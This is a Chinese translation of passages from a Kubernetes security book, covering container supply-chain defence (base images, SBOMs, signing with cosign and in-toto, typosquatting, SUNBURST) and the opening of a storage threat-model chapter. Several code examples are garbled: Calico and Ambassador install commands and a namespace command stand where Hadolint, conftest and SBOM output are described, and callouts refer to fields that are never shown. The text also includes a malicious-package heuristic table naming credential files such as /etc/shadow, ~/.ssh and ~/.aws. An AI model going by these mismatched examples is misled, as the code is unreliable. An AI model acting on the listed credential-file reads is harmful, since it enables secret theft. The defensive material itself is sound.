  • 主机非回环网络端口/服务

  • 枚举其他网络实体(云提供商、构建基础设施、通向生产环境的网络路由)

  • 恶意的 FROM 镜像可以访问构建的秘密

  • 恶意镜像,具有 ONBUILD 指令

  • Docker-in-docker 和挂载的容器运行时套接字可能导致主机逃逸

  • 容器运行时或内核中的零日漏洞

  • 网络攻击面(主机、其他构建暴露的端口)

为防止恶意构建,您应从静态分析开始,使用 Hadolintconftest 强制执行您的策略。例如:

$ kubectl apply -f https://docs.projectcalico.org/manifests/calico.yaml
configmap/calico-config created
customresourcedefinition.apiextensions.k8s.io/bgpconfigurations.crd.projectcalico.org created
...
serviceaccount/calico-kube-controllers created

$ kubectl -n kube-system set env daemonset/calico-node FELIX_IGNORELOOSERPF=true
daemonset.apps/calico-node env updated

Conftest 封装了 OPA 并运行 Rego 语言策略(见 “Open Policy Agent”):

$ kubectl -n kube-system get pods | grep calico-node
calico-node-2j2wd     0/1     Running     0     18s
calico-node-4hx46     0/1     Running     0     18s
calico-node-qnvs6     0/1     Running     0     18s

如果 Dockerfile 符合策略,可以使用 trivy 等工具扫描容器构建工作区。您还可以先构建再扫描,尽管如果攻击生成反向 shell 进入构建环境,则略有风险。

如果容器扫描安全,则可以执行构建。

提示

在 Dockerfile 中添加硬化阶段有助于删除攻击者可能尝试利用的不必要文件和二进制文件,详细信息请参见 DoD’s Container Hardening Guide

保护构建的网络很重要,否则容器构建中的恶意代码可以从互联网拉取更多依赖项和恶意代码。安全控制难度各不相同,包括:

  • 阻止网络出口

  • 使用虚拟机隔离主机内核

  • 将构建过程作为非 root 用户或在用户命名空间中运行

  • 在容器文件系统中以非 root 用户身份执行 RUN 命令

  • 与构建无关的非必要内容不共享

基础镜像

当应用程序打包部署时,必须将其构建为容器镜像。根据您选择的编程语言和应用程序依赖关系,您的容器将使用 Table 4-3 中的一种基础镜像。

表 4-3. 基础镜像类型

基础镜像类型 构建方式 镜像文件系统内容 示例容器镜像
Scratch 将一个(或多个)静态二进制文件添加到空容器根文件系统中。 除了 /my-binary(它是 / 目录中唯一的东西)和任何添加的依赖项(通常是 CA 捆绑包、本地化信息、应用程序的静态文件)外,没有其他内容。 静态 Golang 或 Rust 二进制示例
Distroless 向仅具有区域设置和 CA 信息的容器添加一个(或多个)静态二进制文件(无 Bash、Busybox 等)。 仅包括my-app/etc/locale、TLS 公钥(以及按照 scratch 的任何依赖项)等。 静态 Golang 或 Rust 二进制示例
Hardened 向极简容器添加非静态二进制或动态应用程序,然后删除所有非必要文件并加固文件系统。 减少的 Linux 用户空间:glibc/code/my-app.py/code/deps/bin/python、Python 库、应用程序的静态文件。 Web 服务器,非静态或复杂应用程序,IronBank 示例
Vanilla 没有安全预防措施,可能危险。 标准 Linux 用户空间。Root 用户。可能需要安装、构建、编译或调试应用程序的任何内容。这为攻击提供了许多机会。 NGINX, raesene/alpine-nettools, nicolaka/netshoot

极简容器将容器的攻击面最小化为对抗进程或 RCE,将对手降低到高级技巧,如返回导向编程,超出大多数攻击者的能力。组织犯罪分子如 Dread Pirate Hashjack 可能能够使用这些编程技术,但利用此类漏洞是有价值的,也许更有可能出售给漏洞经纪人,如果发现可能会降低其价值。

因为静态编译的二进制文件包含其自己的系统调用库,它们不需要glibc或其他用户空间内核接口,并且可以仅依赖于文件系统上的自身(参见图 4-5)。

app-scratch-vs-glibc

图 4-5. scratch 容器和glibc如何与内核通信

现在让我们稍作停顿:我们需要盘点我们的供应链。

容器供应链的现状

容器中的应用程序将所有用户空间依赖项捆绑在一起,这使我们能够检查应用程序的组成。受损容器的爆炸半径小于裸金属服务器(容器提供关于命名空间的安全配置),但由于 Kubernetes 工作负载部署的高度并行性质,情况加剧。

安全地接受第三方代码需要信任并验证上游依赖关系。

Kubernetes 组件(操作系统、容器、配置)本身就是供应链风险。从对象存储(如 S3 和 GCS)中拉取未签名的 Kubernetes 分发版本无法验证开发人员是否打算运行这些容器。任何具有“逃逸友好配置”(禁用安全功能、缺乏加固、未监控和未安全化等)的容器都是可攻击的资产。

同样适用于支持应用程序(日志/监控、可观测性、IDS)——任何以 root 身份安装的东西,如果没有经过加固,或者确实没有设计成具备对抗被妥协的韧性,都有可能成为来自敌对力量的突袭攻击对象。

第三方代码风险

在镜像构建过程中,您的应用程序会将依赖项安装到容器中,通常这些依赖项也会安装到开发者的机器上。这要求安全地摄取第三方和开源代码。

您重视数据安全性,因此在验证之前运行来自互联网的任何代码可能是不安全的。像 Hashjack 船长这样的对手可能已留下后门,以便远程访问运行其恶意代码的任何系统。在允许软件进入您的组织企业网络和生产系统之前,您应该认真考虑此类攻击的风险是否足够低。

扫描摄入代码的一种方法显示在图 4-6 中。来源于互联网的容器(和其他代码)被拉到临时虚拟机上。验证所有软件签名和校验和,扫描二进制和源代码以检测 CVE 和恶意软件,然后将工件打包并签名,以供内部注册使用。

第三方代码摄入(详细)

图 4-6. 第三方代码摄入

在此示例中,从公共注册表中拉取的容器被扫描以检测 CVE,例如,标记为内部域,然后用 Notary 签名并推送到内部注册表,供 Kubernetes 构建系统和您的开发者使用。

在摄取第三方代码时,您应该注意发布者和/或包的签名、它本身使用的依赖项、发布时间以及在您内部静态分析流水线中的评分。

提示

Aqua 的容器动态威胁分析在沙箱中运行潜在的恶意容器,观察其行为是否存在恶意迹象。

在进入您的网络之前扫描第三方代码可以保护您免受某些供应链妥协的影响,但是面对有针对性的攻击可能较难防御,因为它们可能不使用已知的 CVE 或恶意软件。在这些情况下,您可能需要观察它作为验证的一部分来运行。

软件材料清单

使用工具如syft为容器镜像创建软件清单(SBOM)非常简单,它支持 APK、DEB、RPM、Ruby Bundles、Python Wheel/Egg/requirements.txt、JavaScript NPM/Yarn、Java JAR/EAR/WAR、Jenkins 插件 JPI/HPI 以及 Go 模块。

它可以生成CycloneDX XM 格式的输出。这里是在一个具有单个静态二进制文件的容器上运行:

$ kubectl apply -f https://github.com/datawire/ambassador-operator/releases/latest
/download/ambassador-operator-crds.yaml && \
  kubectl apply -n ambassador -f https://github.com/datawire/ambassador-operator/releases
/latest/download/ambassador-operator-kind.yaml && \
  kubectl wait --timeout=180s \
-n ambassador --
for=condition=deployed \
ambassadorinstallations/ambassador
customresourcedefinition.apiextensions.k8s.io/ambassadorinstallations.getambassador.io created
namespace/ambassador created
configmap/static-helm-values created
serviceaccount/ambassador-operator created
clusterrole.rbac.authorization.k8s.io/ambassador-operator-cluster created
clusterrolebinding.rbac.authorization.k8s.io/ambassador-operator-cluster created
role.rbac.authorization.k8s.io/ambassador-operator created
rolebinding.rbac.authorization.k8s.io/ambassador-operator created
deployment.apps/ambassador-operator created
ambassadorinstallation.getambassador.io/ambassador created
ambassadorinstallation.getambassador.io/ambassador condition met

1

用于创建 SBOM 的工具的供应商。

2

创建 SBOM 的工具。

3

工具版本。

4

正在扫描的供应链组件及其容器类型。

5

容器的名称。

6

容器的版本,SHA256 内容哈希或摘要。

材料清单只是软件工件的包装清单。针对alpine:base镜像运行,我们看到一个带有软件许可证的 SBOM(输出已编辑以适应):

$ kubectl create ns npdemo
namespace/npdemo created

这些可验证的工件可以由供应链安全工具(如cosignin-totonotary)签名。当消费者要求供应商从其经过审计、符合要求且安全的软件工厂产生可验证的工件和材料清单时,供应链将变得更难以被一般攻击者破坏。

警告

在构建工件或从中生成 SBOM 之前对源代码进行攻击,即使实际上是恶意的(如 SUNBURST),仍然是受信任的。这就是为什么必须保护构建基础设施的原因。

人类身份和 GPG

使用 GNU 隐私卫士(GPG)签名对 Git 提交进行签名可以确认该密钥的所有者在签名时信任该提交。这有助于增加信任,但需要公钥基础设施(PKI),这在完全保护方面是极其困难的。

签署数据很容易——验证则很难。

Dan Lorenc

PKI 的问题在于 PKI 基础设施可能会遭受风险。总有人负责确保公钥基础设施(托管个人受信任公钥的服务器)未被破坏且正在报告正确数据。如果 PKI 遭到破坏,整个组织可能会受到攻击,因为攻击者可以向他们控制的密钥添加到受信任用户中。

签名构建和元数据

为了信任您的构建基础设施的输出,您需要对其进行签名,以便消费者可以验证它来自您。签署元数据如 SBOM 还允许消费者在其系统中部署代码时检测漏洞。以下工具通过签署您的工件、容器或元数据来帮助您。

Notary v1

Notary 是内建到 Docker 中的签名系统,实现了更新框架(TUF)。它用于运送软件更新,但在 Kubernetes 中未启用,因为它要求所有镜像都必须签名,否则将不运行它们。portieris则作为 Kubernetes 的准入控制器实现了 Notary。

Notary v2支持为 OCI Artifacts 创建多个签名,并将它们存储在 OCI 镜像仓库中。

sigstore

sigstore 是一个公共软件签名和透明服务,可以使用 cosign 签署容器,并将签名存储在 OCI 仓库中,这是 Notary v1 缺失的功能。由于容器可以存储任何内容(例如二进制文件、tarball、脚本或配置文件),cosign 是一种以 OCI 为打包格式的通用工件签名工具。

sigstore 提供免费证书和工具来自动化和验证源代码的签名。

sigstore 发布公告

与证书透明性类似,它有一个事件的追加式密码学分类账(称为 rekor),每个事件都有关于软件发布的签名元数据,如 图 4-7 所示。最后,在 fulcio 中支持“用于代码签名证书的免费根 CA,即基于 OIDC 电子邮件地址颁发证书”。这些工具共同显著改进了供应链安全领域的能力。

它专为开源软件设计,并处于快速开发中。支持 TUF 和 in-toto 的集成,支持基于硬件的令牌,与大多数 OCI 仓库兼容。

sigstore 的 cosign 用于 签署 Distroless 基础镜像系列

将 sigstore 清单存储到 rekor 透明日志中

图 4-7. 将 sigstore 清单存储在 rekor 透明日志中

in-toto 和 TUF

in-toto 工具链 对软件构建进行校验和签名——CI/CD 管道的步骤和输出。这提供了关于软件构建过程的透明元数据。这增加了消费者对于一个构件是否来自特定源代码修订版的信任。

in-toto 链接元数据(描述构建阶段之间的转换以及有关签名的元数据)可以被 rekor 和 Grafeas 等工具存储,并在使用时由消费者进行验证。

in-toto 签名确保可信任方(例如构建服务器)已构建并签署了这些对象。然而,并不能保证第三方的密钥未被 compromise——唯一的解决方案是运行并行的隔离构建环境,并交叉检查加密签名。这通过可重现的构建(在 Debian、Arch Linux 和 PyPi 中)提供对构建工具被攻击的弹性。

这仅在 CI 和构建本身是确定性的(构建没有副作用)和可复制的情况下才可能实现(源代码创建相同的工件)。依赖时间或随机行为(时间和随机性)将导致不可重现的二进制文件,因为它们受日志文件中的时间戳或影响编译的随机种子的影响。

使用 in-toto 时,组织会增加对其流水线和工件的信任,因为一切都有可验证的签名。然而,如果没有对原始构建基础设施进行客观的威胁模型或安全评估,则无法保护可能已被 compromise 的单个构建服务器的供应链。

使用 in-toto 的生产者与验证签名的消费者使攻击者的生活更加困难。他们必须完全 compromise 签名基础设施(如 SolarWinds)。

GCP 二进制授权

GCP 二进制授权功能允许签署图像并采用入场控制,以防止未签名、过时或有漏洞的图像进入生产环境。

在运行时验证预期签名提供了管道控制的执行:此图像是否没有已知漏洞,或者是否具有“接受”漏洞列表?它是否通过了管道中的自动接受测试?它是否来自构建管道?

Grafeas 用于存储来自图像扫描报告的元数据,而 Kritis 是一个验证控制器,用于验证图像的签名和 CVEs 的缺失。

Grafeas

Grafeas 是用于管道元数据的元数据存储,例如漏洞扫描和测试报告。容器的信息记录在其摘要中,可用于报告组织图像的漏洞,并确保构建阶段已成功通过。Grafeas 还可以存储 in-toto 链接元数据。

基础设施供应链

还值得考虑您的操作系统基础镜像,以及 Kubernetes 控制平面容器和软件包的安装位置。

一些发行版历史上修改和重新打包 Kubernetes,这增加了恶意代码注入的供应链风险。根据您的初始威胁模型决定如何处理,并为妥协弹性建立系统和网络架构。

运算符权限

Kubernetes Operator 旨在通过自动化 Kubernetes 配置来减少人为错误,并对事件做出反应。它们与 Kubernetes 和 Operator 控制下的其他资源交互。这些资源可能位于单个命名空间、多个命名空间或 Kubernetes 之外。这意味着它们通常具有高度特权,以启用这种复杂的自动化,从而带来一定的风险。

运算符基础的供应链攻击可能允许哈什杰克船长通过滥用 RBAC 悄悄部署他们的恶意工作负载,并且一个恶意资源可能完全不被检测到。尽管这种攻击目前并不普遍,但它有潜力 compromise 大量 cluster。

在信任第三方 Operator 之前,必须评估和进行安全测试:编写测试以检查其 RBAC 权限是否更改,并确保 Operator 的 securityContext 配置适用于工作负载。

攻击供应链的更高层次

要攻击 BCTL,Hashjack 船长可能会考虑攻击供应其软件的组织,如操作系统、供应商和开源软件包。您的开源库也可能存在漏洞,其中历史上最具破坏力的是 Apache Struts RCE,CVE-2017-5638。

受信任的开源库可能已被“后门”(例如 NPM 的event-stream软件包)或在使用过程中被从注册表中移除,例如left-pad(尽管注册表现在试图通过阻止“取消发布”软件包来避免这种情况)。

注意

CVE-2017-5638 影响了 Apache Struts,一个 Java Web 框架。

服务器未正确解析Content-Type HTTP 头,这允许执行任何命令在进程命名空间中作为 Web 服务器用户执行。

Struts 2 存在许多关键安全漏洞的历史,其中许多与其使用的 OGNL 技术有关;一些漏洞可能导致任意代码执行。

维基百科

供应商分发的代码可能会受到损害,就像Codecov一样。其容器镜像创建过程中的错误允许攻击者修改由客户运行的 Bash 上传器脚本以启动构建。此攻击可能会危及构建秘钥,然后可能被用于攻击其他系统。

提示

使用 Codecov 的组织数量相当可观。使用 grep.app 搜索 Git 仓库显示在前 500,000 个公共 Git 仓库中有超过 9,200 个结果。GitHub在撰写本文时显示有 397,518 个代码结果。

编写不良的代码未能处理不受信任的用户输入或内部错误可能存在远程可利用的漏洞。应用程序安全负责防止对系统的轻松访问。

行业公认的术语是“向左转”,这意味着您应该在开发人员编写代码时运行静态和动态分析:在集成开发环境中添加自动化工具,提供本地安全测试工作流程,在部署前运行配置测试,并且通常不要像传统软件那样将安全考虑留到最后可能的时刻。

供应链攻击的类型

TAG Security 的供应链妥协目录列出了影响各种应用程序依赖库和供应商的每周数百万次下载的软件包的攻击,以及数亿次总安装量。

最受欢迎的恶意软件包(event-stream—1.9 亿次下载,eslint-scope—4.42 亿次下载,bootstrap-sass—3 千万次下载,rest-client—1.14 亿次下载)的下载总数为 7.76 亿次,包括良性和恶意版本。

“针对解释性语言包管理器的供应链攻击测量方法”

在引用的论文中,作者确定了开源供应链中的四个角色:

  • Registry Maintainers(RM)

  • 软件包维护者(PM)

  • 开发者(Devs)

  • 最终用户(Users)

有消费者的人有责任验证他们传递给客户的代码,并有责任提供可验证的元数据,以增强工件的信任。

有很多需要防范的地方,以确保用户获得可信任的工件(表 4-4):

  • 源代码

  • 发布基础设施

  • 开发工具

  • 恶意维护者

  • 疏忽

  • 假工具链

  • 水坑攻击

  • 多个步骤

注册表维护者应该保护发布基础设施免受 Typosquatter 的影响:即注册了一个看起来与广泛部署的软件包类似的个人。

表 4-4. 攻击发布基础设施的示例

攻击 软件包名称 Typosquatted 名称
Typosquatting(错别字域名滥用) event-stream eventstream
不同的账号 用户/软件包 usr/软件包,user_/软件包
Combosquatting(组合域名滥用) 软件包 软件包-2,软件包-ng
帐号接管 用户/软件包 用户/软件包-因为攻击者已经通过攻击获取了用户的访问权限
社会工程学 用户/软件包 用户/软件包-因为用户自愿将存储库访问权限授予攻击者

如图 4-8 所示,包管理器的供应链包含许多风险。

包管理器生态系统中各利益相关者和威胁的简化关系

图 4-8. 包管理器生态系统中各利益相关者和威胁的简化关系(来源:“Towards Measuring Supply Chain Attacks on Package Managers for Interpreted Languages”

开源摄入

在每个软件包上都要进行这种细致的注意可能会变得很疲惫,并且在规模化应用时很快变得不切实际。这就是生产者和消费者之间的信任网络能够减轻在链条中每个环节都双重检查的负担的地方。然而,没有什么是完全可信的,定期重新验证代码以应对新公布的 CVE 或零日漏洞是必要的。

在“面向测量解释语言包管理器上的供应链攻击”的论文中,作者列出了如表 4-5 所示的相关问题。

表 4-5. 源自现有供应链攻击和其他恶意软件研究的启发式规则

类型 描述
元数据 软件包名称与同一注册表中的流行软件包相似。软件包名称与其他注册表中的流行软件包相同,但作者不同。软件包依赖于或与已知恶意软件共享作者。该软件包在已知恶意软件发布的时间周围有较早版本。软件包包含 Windows PE 文件或 Linux ELF 文件。
静态 该软件包具有定制的安装逻辑。该软件包在最近发布的版本中添加了网络、进程或代码生成 API。该软件包从文件系统源流向网络汇。该软件包从网络源流向代码生成或进程汇。
动态 该软件包联系到意外的 IP 或域,而预期的应该是官方注册表和代码托管服务。该软件包从敏感文件位置读取,如/etc/shadow,/home//.ssh,/home//.aws。该软件包写入敏感文件位置,如/usr/bin,/etc/sudoers,/home//.ssh/authorized_keys。该软件包生成意外的进程,而预期的是初始化为注册表客户端(例如 pip)。

本文总结:

  • Typosquatting 和账户被攻击是对攻击者成本较低的攻击向量,并且是最广泛利用的攻击向量。

  • 数据窃取和插入后门是最常见的恶意后渗透行为,表明面向广泛消费者的目标。

  • 20%的已识别恶意软件在包管理器中持续存在超过 400 天,并且有超过 1K 次下载。

  • 新技术包括代码混淆、多阶段载荷和逻辑炸弹,以逃避检测。

此外,安装量较低的软件包不太可能迅速响应报告的妥协,如图 4-9 所示。可能是因为开发人员没有为支持这些开源软件包而获得报酬。通过撰写良好的补丁并及时提供协助合并它们,或者通过处理来自漏洞赏金计划的报告来提供财务支持,是减少流行但很少维护的软件包中漏洞的有效方法。

haku 0409

图 4-9. 持续天数与下载次数之间的相关性(R&R = 报告和移除;R&I = 报告和调查)(来源:“Towards Measuring Supply Chain Attacks on Package Managers for Interpreted Languages”

应用程序漏洞贯穿 SDLC

软件开发生命周期(SDLC)是应用程序从开发者的构想到其在生产系统上安全构建和部署的旅程。

随着应用程序从开发到生产的过程,它们的风险概况不断变化,如表 4-6 所示。

表 4-6. SDLC 期间应用程序漏洞

系统生命周期阶段 高风险 低风险
开发到生产部署 应用代码(频繁变化) 应用程序库,操作系统包
建立的生产部署到退役 慢慢衰退的应用程序库和操作系统包 应用代码(变化较少)

在生产中运行的应用程序的风险配置随其生命周期的延长而变化,随着其软件逐渐过时。这被称为“反运行时间”—应用程序威胁与其部署后的时间相关性(例如,容器构建的日期)。组织中的反运行时间平均值也可以被认为是“平均时间到……”:

  • 受损(应用存在远程可利用漏洞)

  • 失败(应用程序不再与更新的系统或外部 API 兼容)

  • 更新(更改应用程序代码)

  • 补丁(明确更新依赖版本)

  • 重建(以获取新的服务器依赖项)

防范 SUNBURST 攻击

所以,这一章节中的技术能够使您免受类似 SUNBURST 的攻击吗?让我们看看它是如何起作用的。

攻击者于 2019 年 9 月 4 日进入 SolarWinds 系统(参见图 4-10)。这可能是通过一次鱼叉式网络钓鱼电子邮件攻击进行的,允许进一步升级到 SolarWind 的系统,或者通过他们在构建基础设施或互联网面向服务器中发现的某些软件配置错误进行的。

haku 0410

图 4-10. SUNSPOT 时间线

威胁行动者隐藏了一个星期,然后开始测试 SUNSPOT 注入代码,最终会威胁到 SolarWinds 产品。这一阶段在两个月内悄无声息地进行。

内部检测可能在这里发现了攻击者,但构建基础设施很少接受与生产系统相同级别的安全审查、入侵检测和监控。尽管它将代码交付给生产或客户,但我们可以通过更精细的安全控制围绕容器来解决这个问题。当然,直接进入主机系统的后门仍然难以检测,除非主机上运行入侵检测,但这可能在共享构建节点上运行许多任务以服务其消费者时会产生噪音。

在构建基础设施最初受损的近六个月后,SUNSPOT 恶意软件被部署。一个月后,包含恶意植入物的臭名昭著的 SolarWinds Hotfix 5 DLL 提供给客户,一旦威胁行动者确认客户被感染,便从构建 VM 中移除了其恶意软件。

在客户感染被确认之前又过了六个月。

此 SUNSPOT 恶意软件在编译之前立即更改源代码,之后立即恢复其原始形式,如图 4-11 所示。这需要观察文件系统并更改其内容。

SUNSPOT 恶意软件

图 4-11. SUNSPOT 恶意软件

一个构建阶段签名工具,它验证其输入和输出(正如 in-toto 所做的那样),然后调用子进程执行构建步骤,可能对这种变体的攻击免疫,尽管它可能将安全性转变为 in-toto 散列函数和修改文件系统的恶意软件之间的竞争条件。

请记住,如果攻击者控制您的构建环境,他们可能潜在地修改其中的任何文件。尽管这很糟糕,但他们无法重生成在构建之外进行签名的文件:这就是为什么您的使用加密签名的工件比未签名的二进制数据块或 Git 代码更安全。可以检测到对已签名或已校验和的工件的篡改,因为攻击者不太可能拥有例如签署篡改数据的私钥。

SUNSPOT 更改了即将编译的文件。在容器构建中,同样存在这个问题:本地文件系统必须是受信任的。签署输入并验证输出在减轻此类攻击方面有所帮助,但一个有动机的攻击者完全控制构建系统可能不可能与构建活动区分开来。

如果没有完全实施所有供应链安全建议,可能无法完全保护构建系统。您的组织的最终风险承受能力应确定您希望为保护系统的这一关键而脆弱的部分投入多少努力:例如,关键基础设施项目可能希望完全审计其收到的硬件和软件,尽可能在硬件模块中建立信任链,并严格规范允许与构建系统交互的员工。对于大多数组织而言,这将是极其不切实际的。

提示

Nixpkgs(在 NixOS 中使用)从一小组工具中启动,具有确定性。这也许是可再现构建的终极范例,带有一些有用的安全副作用;它允许端到端的信任和所有构建图像的可重现性。

Trustix,另一个 Nix 项目,比较多个不受信任的构建服务器上的 Merkle 树日志中的构建输出,以确定构建是否已被篡改。

因此,这些建议可能不会真正防止像 SUNBURST 这样的供应链妥协,但它们可以保护部分攻击向量,并减少您的总体风险敞口。为了保护您的构建系统:

  • 将开发者的根访问权限授予集成和测试环境,而不是构建和打包系统。

  • 使用临时构建基础设施并保护免受缓存中毒攻击。

  • 生成并分发 SBOM(软件构建材料)以便消费者可以验证工件。

  • 运行入侵检测工具在构建服务器上。

  • 扫描开源库和操作系统软件包。

  • 在分布式基础设施上创建可重现的构建,并比较结果以检测篡改。

  • 运行具有隔离性、自包含的构建,只使用提供给它们的内容(而不是调用其他系统或互联网),并避免在构建脚本中包含决策逻辑。

  • 保持构建简单且易于理解,并像对待其他软件一样对构建脚本进行安全审查和扫描。

结论

完全防御供应链攻击是困难的。公共容器注册表上的恶意软件通常是被检测到而不是被阻止,应用程序库也是如此,潜在的不安全性是使用任何第三方软件的现实的一部分。

SLSA 框架建议实现的里程碑,以确保您的供应链安全,假设您的构建基础设施已经安全!软件供应链安全论文详细介绍了源代码、材料、构建流水线、产物和部署的具体模式和实践,指导您在供应链安全之旅中。

为已发布的 CVEs 扫描容器镜像和 Git 仓库是云原生应用程序的最低可行安全性。如果假设所有工作负载都可能是敌对的,您的容器安全上下文和配置应该调整到与工作负载的敏感性相匹配。容器 seccomp 和 LSM 配置应始终配置为防御来自新的、未定义行为或刚刚受到侵害的依赖项的系统调用。

在 CI/CD 过程中使用 cosign、Notary 和 in-toto 对构建产物进行签名,然后在消费时验证其签名。分发 SBOMs,以便消费者可以验证您的依赖链是否存在新的漏洞。虽然这些措施只是为了更广泛的供应链安全覆盖范围,但它们会使攻击者感到沮丧,并降低 BCTL 落入驱动式容器海盗陷阱的风险。

第六章:存储

您的组织以其数据为重要资产。这可能是客户记录和账单详细信息、商业机密或知识产权。客户和信息在公司生命周期内收集的价值重大,而 Hashjack 船长的二进制海盗们只为掠夺而来。

考虑身份欺诈者和国家主义者将为个人信息支付的费用。如果您的数据对他们没有价值,您可能会因勒索而被加密锁定,而攻击者可能在入侵您的系统时额外窃取您的数据。

BCTL 保存客户和员工的个人数据,如位置、医疗和财务记录,以及秘密信息,如信用卡详细信息和交付地址。您的客户信任您将这些详细信息保存在文件系统、数据库或网络存储系统(NFS、对象存储、NAS 等)中。为了从 Kubernetes Pod 中访问这些数据,容器必须使用网络,或者出于数据量较大或较低延迟要求,使用附加到主机系统的磁盘。

将主机文件系统挂载到容器中会打破与主机文件系统的隔离边界,并为攻击者提供潜在的可导航路径。

当容器的存储可以通过网络访问时,最有效的攻击策略是窃取访问密钥并冒充合法应用程序。Hashjack 船长可能会攻击请求密钥的应用程序(容器工作负载)、密钥存储(API 服务器的 Secrets 端点或etcd)、或应用程序的主机(工作节点)。当 Secrets 处于静止状态时,它们面临被恶意行为者访问、修改或窃取的风险。

在本章中,我们探讨了文件系统的组成以及如何保护它免受恶意攻击者的侵害。

默认设置

Kubernetes 中的应用程序可以在哪里存储数据?Pod 中的每个容器都有自己的本地文件系统,以及在其上的临时目录。这可能是/tmp,或者如果内核支持的话可以是/dev/shm用于共享内存。本地文件系统与 Pod 的生命周期相关联,并在停止 Pod 时被丢弃。

Pod 中的容器不共享挂载命名空间,这意味着它们无法看到彼此的本地文件系统。为了共享数据,它们可以使用共享卷,这是一个文件系统,挂载到容器本地文件系统的目录中,例如/mnt/foo。这也与 Pod 的生命周期绑定,并且是从底层主机上的tmpfs挂载。

为了在 Pod 生命周期之外持久化数据,使用持久卷(参见“卷和数据存储”)。它们在集群级别进行配置和提供,并在 Pod 终止后保留。

访问其他 Pod 的持久卷对敏感工作负载的保密性构成威胁。

威胁模型

存储面临的最大问题是数据泄露。能够访问静态数据的攻击者可能能够提取敏感客户和用户信息,利用新发现的知识攻击其他系统,或设置加密锁定的赎金场景。

提示

配置您的 API 服务器以在 etcd加密静态密码,并将密码存储在像 KMS 或 Hashicorp Vault 这样的密码存储中,加密文件或物理安全存储中。

Kubernetes 存储使用卷,这与 Docker 的卷概念类似。这些卷用于在容器之外持久保存状态,因为容器设计上无法在其自身文件系统内持久保存文件。卷也用于在一个 pod 内的多个容器之间共享文件。

卷显示为容器内的一个目录,如果卷背后的存储已经填充数据,则可能包括数据。该目录如何由容器运行时添加由卷类型决定。支持许多卷类型,包括历史上易受攻击的协议,如网络文件系统(NFS)和 Internet 小型计算机系统接口(iSCSI),以及插件如 gitRepo(一个在容器内挂载之前运行自定义 Git checkout 步骤的空卷)。

警告

gitRepo 卷插件要求 kubelet 在主机上的 shell 中运行 git,这使得 Kubernetes 易受如 CVE-2017-1000117 的 Git 攻击。虽然这需要攻击者具有创建 pod 权限,但这种特性的便利性不足以证明增加的攻击面,因此 该卷类型已被弃用(有一个 简单的初始化容器解决方案)。

存储与底层硬件集成,因此威胁取决于您如何配置存储。有许多种存储驱动程序,您应选择适合您和团队支持的驱动程序。

当应用程序创建和生成数据时,通过持久化到存储进行存储,通过加密和移动到长期存储介质进行备份,再次从存储中检索以显示给用户,并从短期和长期存储中删除,如 图 6-1 所示,您应关注您的数据。

存储数据生命周期,http://people.cs.pitt.edu/~adamlee/pubs/2005/storagess05threat.pdf

图 6-1. 存储数据生命周期

STRIDE 威胁建模框架非常适合这种实践。STRIDE 助记符代表以下内容:

伪造(真实性)

如果攻击者能够更改数据,则可以植入虚假数据和用户账户。

篡改(完整性)

攻击者控制的数据可以被操纵,加密锁定或删除。

否认(不可否认的证据)

有关存储文件元数据的加密签名确保更改的文件无法验证,除非攻击者控制签名密钥并重新生成签名的元数据。

信息泄露(机密性)

许多系统在调试和日志数据中泄露敏感信息,而容器挂载点泄露主机的设备和磁盘抽象。

拒绝服务(可用性)

数据可以被删除,磁盘吞吐量或 IOPS 耗尽,以及使用配额或限制。

提权(授权)

外部挂载可能导致容器越界。

卷和数据存储

在本节中,我们回顾 Kubernetes 中相关的存储概念。

一切都是字节流

常常有人说,在 Linux 中,“一切皆为文件”。嗯,这并不完全正确:一切都可以被视为“文件”,用于读取或写入,使用文件描述符。把文件描述符想象成指向特定单词所在的页码和书架上的部分,就像对图书馆书籍的引用。

Linux 中有七种类型的文件描述符:文件、目录、字符设备、块设备、管道、符号链接和套接字。这广泛涵盖了文件、硬件设备、虚拟设备、内存和网络。

当我们有一个指向有用内容的文件描述符时,我们可以使用流入它的二进制数据流进行通信(当我们向其写入时),或者从中流出的二进制数据流进行通信(当我们从中读取时)。

对于文件、显示驱动程序、声卡、网络接口以及系统连接和感知的一切来说,都是如此。因此,更正确的说法是在 Linux 中,“一切皆为字节流”。

在谦卑的容器内部,我们只是在运行一个标准的 Linux 进程,因此所有这些对容器也适用。容器只是“Linux”,所以你与其的交互也是通过字节流进行的。

注意

记住,“无状态容器”不希望将重要数据持久化到其本地文件系统,但它们仍然需要输入和输出才能发挥作用。状态必须存在;将其存储在数据库或外部系统中可以实现云原生的好处,如弹性扩展和对故障的韧性。

容器中的所有进程可能在其生命周期的某个时刻都想要写入数据。这可能是向网络进行读写,或者将变量写入内存或临时文件到磁盘,或者从内核读取信息,比如“我可以分配的最大内存是多少?”

当容器的进程想要将数据“写入磁盘”时,它使用容器镜像顶部的读写层。这个层在运行时创建,不会影响其余的不可变镜像。因此,该进程首先将数据写入容器内的本地文件系统,该文件系统是通过 OverlayFS 从主机挂载的。OverlayFS 代理进程正在写入的数据,传输到主机的文件系统(例如,ext4ZFS)。

什么是文件系统?

文件系统是在卷上对数据进行排序和检索的一种方式,类似于文件系统或图书馆索引。

Linux 使用单一虚拟文件系统 (VFS),在 / 挂载点处挂载,将许多其他文件系统组合为一个视图。这是一个抽象,允许标准化的文件系统访问。内核还使用 VFS 作为用户空间程序的文件系统接口。

“挂载”文件系统会创建一个 dentry,它代表内核 vfsmount 表中的目录项。当我们通过文件系统进行 cd 操作时,我们正在与 dentry 数据结构的实例交互,以检索我们查看的文件和目录的信息。

提示

我们从攻击者的角度探索文件系统在 Appendix A 中。

可以按需创建虚拟文件系统,例如,在 /proc 中的 procfs/sys 中的 sysfs,或者像 VFS 一样映射到其他文件系统上。

每个非虚拟文件系统必须存在于一个卷上,该卷表示一个或多个存储我们数据的媒介。对于用户来说,一个卷可能是一个单一的带有 ext4 文件系统的 SSD,或者是一个 RAID 或 NAS 存储阵列中的多个旋转磁盘,可能显示为单个卷和文件系统。

我们可以像使用图书馆书籍的页面和文本行一样,物理读取或写入数据到类似 SSD 或旋转磁盘这样的“块设备”。这些抽象在 Figure 6-2 中展示。

storage-volume-diagram

图 6-2. Linux 存储卷元素

其他类型的虚拟文件系统也没有卷,例如 udev,即“用户空间 /dev” 文件系统,管理我们 /dev 目录中的设备节点,以及 procfs,通常映射到 /proc 并通过文件系统方便地公开 Linux 内核内部。

用户与文件系统进行交互,但卷可能是本地或远程磁盘、单个磁盘、分布式数据存储跨多个磁盘、虚拟文件系统或这些组合。

